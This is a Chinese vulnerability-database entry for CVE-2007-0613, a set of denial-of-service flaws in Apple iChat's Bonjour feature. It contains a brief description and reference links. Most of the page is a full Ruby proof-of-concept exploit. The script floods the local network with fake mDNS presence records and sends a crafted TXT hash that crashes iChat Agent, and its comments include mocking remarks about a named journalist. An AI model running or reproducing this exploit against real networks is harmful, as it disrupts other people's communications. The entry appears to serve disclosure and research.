Apple iChat Bonjour多个拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1112125 漏洞类型
发布时间 2007-01-30 更新时间 2007-02-02
CVE编号 CVE-2007-0613 CNNVD-ID CNNVD-200701-592
漏洞平台 OSX CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/3230
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200701-592
|漏洞详情
AppleiChat是捆绑于苹果家族操作系统的视频聊天工具。iChat的Bonjour功能允许自动发现计算机,该功能中存在几个拒绝服务漏洞。在通过mDNS查询查找可用的联系人时没有任何限制,即使联系人不存在iChat也会添加所广播的_presence._tcp记录,因此恶意用户可以广播伪造的记录导致使用Bonjour的iChat用户无法发现更多的对等端,无法进行可靠的通讯。此外iChat代理在处理特制的TXT密钥哈希时还可能出现异常,导致向进程发送SIGTRAP信号出现崩溃。再次尝试启动iChatBonjour功能仍会失败,因为mDNSResponder会保留特制的记录。
|漏洞EXP
#!/usr/bin/ruby
# (c) 2006 Lance M. Havok <lmh [at] info-pull.com>
# All Rights Reserved.
# basic proof of concept for MOAB-29-01-2007
#

require 'digest/sha1'
require 'rubygems'
require 'net/dns/mdns-sd'

bugselected = (ARGV[0] || "0").to_i
TMP_ARR     = []
DNSSD       = Net::DNS::MDNSSD

trap("INT") {
  puts "++ Exiting..."
  begin
    TMP_ARR.each do |o|
      o.stop
    end
  rescue
  end

  exit
}

#
# This method abuses a design weakness in iChat Bonjour services, allowing an user
# to conduct a denial of service attack against reachable clients by registering multiple
# (fake) _presence records.
#
def oh_gnoes_contact_dos(status_msg = "ekoC stronS reztleS yrraL".reverse,
                         firstname  = 'Pwnies',
                         lastname   = 'Mgheetacek')
  
  available_status  = [ "avail", "away" ]
  cur_status        = available_status[rand(available_status.size)]

  # the TXT keys (see http://www.xmpp.org/extensions/xep-0174.html)
  keyset = {  "status"    => cur_status,                                # - presence availability of the user
              "msg"       => status_msg,                                # - user's state
              "vc"        => "CUAV!",                                   # - user's ability for A/V conferencing
              "1st"       => firstname,                                 # - first name of the user
              "last"      => lastname,                                  # - last name of the user
              "txtvers"   => "1",                                       # - version of the TXT fields supported
              "phsh"      => Digest::SHA1.hexdigest(rand(0xffffffff).to_s),  # - fake SHA-1 hash of icon
              "port.p2pj" => "1337"                                     # - Port for link-local communications
                                                                        # (ignored).
            }

  count = 0
  while true
    rand_str = "3891ecniSrevoLyaGeipmaerCterceSkecatPreztleSyrraL".reverse
    (rand_str.length-1).downto(1) do |c|
       n = rand(c) + 1
       rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
    end
    
    puts "++ Registering presence #{count}"
    # TODO: add NULL record with user avatar icon (ex. Larry Seltzer's taliban bearded face)
    dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
    #sleep 40
    TMP_ARR << dos_handle
    count += 1
  end
end

#
# This method causes iChat Agent to raise an exception (SIGTRAP signal) with a crafted TXT key hash.
# Program received signal SIGTRAP, Trace/breakpoint trap.
# 0x9262050b in _NSRaiseError ()
#
def format_dos()
  keyset = {  "status" => "avail", "msg" => "I'm the Doomed eWook", "vc" => "CUAV!", "1st" => "Larry",
              "last" => "Seltzer", "txtvers" => "1", "phsh" => ("\250" * 40),
              "port.p2pj" => "1337" }
  
  rand_str = "nabilaTAsAlufrewoPsIyrraL".reverse
  (rand_str.length-1).downto(1) do |c|
     n = rand(c) + 1
     rand_str[c], rand_str[n] = rand_str[n], rand_str[c]
  end
  
  dos_handle = DNSSD.register(rand_str, '_presence._tcp', 'local', rand(65535), keyset)
  dos_handle.stop
end

#
# Proof of concept method selection below.
#

puts "++ MOAB-29-01-2007: iChat Bonjour Fun"
puts "++ Selected target: #{bugselected}"
case bugselected
  when 0
    format_dos()
  when 1
    if (ARGV[1] and ARGV[2] and ARGV[3])
      oh_gnoes_contact_dos(ARGV[1], ARGV[2], ARGV[3])
    else
      oh_gnoes_contact_dos()
    end
end

# milw0rm.com [2007-01-30]
|参考资料

来源:BID
名称:22304
链接:http://www.securityfocus.com/bid/22304
来源:MISC
链接:http://projects.info-pull.com/moab/MOAB-29-01-2007.html
来源:OSVDB
名称:32699
链接:http://www.osvdb.org/32699
来源:OSVDB
名称:32698
链接:http://www.osvdb.org/32698